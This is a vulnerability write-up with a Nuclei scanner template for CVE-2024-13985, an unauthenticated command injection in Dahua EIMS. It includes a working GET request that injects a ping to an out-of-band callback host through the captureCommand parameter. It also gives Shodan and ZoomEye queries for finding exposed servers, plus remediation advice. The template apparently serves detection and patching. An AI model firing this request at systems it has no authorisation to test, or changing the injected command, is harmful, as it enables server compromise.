A command injection vulnerability in Dahua EIMS versions prior to 2240008 allows unauthenticated remote attackers to execute arbitrary system commands via the capture_handle.action interface. The flaw stems from improper input validation in the captureCommand parameter, which is processed without sanitization or authentication. By sending crafted HTTP requests, attackers can inject OS-level commands that are executed on the server, leading to full system compromise. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-04-06 UTC.
PoC
id: CVE-2024-13985
info:
name: Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle
author: DhiyaneshDk
severity: critical
description: |
A command injection vulnerability in Dahua EIMS versions prior to 2240008 allows unauthenticated remote attackers to execute arbitrary system commands via the capture_handle.action interface. The flaw stems from improper input validation in the captureCommand parameter, which is processed without sanitization or authentication. By sending crafted HTTP requests, attackers can inject OS-level commands that are executed on the server, leading to full system compromise. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-04-06 UTC.
impact: |
Complete unauthenticated server compromise. An attacker can read/write arbitrary files, install backdoors, pivot to the internal network, or disrupt emergency information services.
remediation: |
Apply the latest security patches from Dahua Security for the EIMS platform. Restrict access to the EIMS management interface to trusted IP ranges only. Place a WAF rule to block requests containing captureCommand to capture_handle.action.
reference:
- https://github.com/ahisec/nuclei-tps/blob/main/http/vulnerabilities/dahua/dahua-eims-capture-handle-rce.yaml
- https://cn-sec.com/archives/2554372.html
- https://github.com/wy876/POC/blob/main/%E5%A4%A7%E5%8D%8EEIMS-capture_handle%E6%8E%A5%E5%8F%A3%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
classification:
cve-id: CVE-2024-13985
epss-score: 0.14607
epss-percentile: 0.96471
cwe-id: CWE-78
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
metadata:
verified: true
max-request: 2
shodan-query: '"Dahua EIMS"'
zoomeye-query: 'app="大华 EIMS"'
tags: cve,cve2024,dahua,eims,rce,oast,pre-auth,vkev
http:
- method: GET
path:
- "{{BaseURL}}/config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20{{interactsh-url}}%20index.pcap"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: regex
regex:
- "^success$"
# digest: 4a0a0047304502204d393721f5291b41dadceb2d65be28888d90978d2dbca220350181a40e86da7b022100a60770c6c41ee584a41161e2ae90af026bca8576ed839a0de3377f96277ad683:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.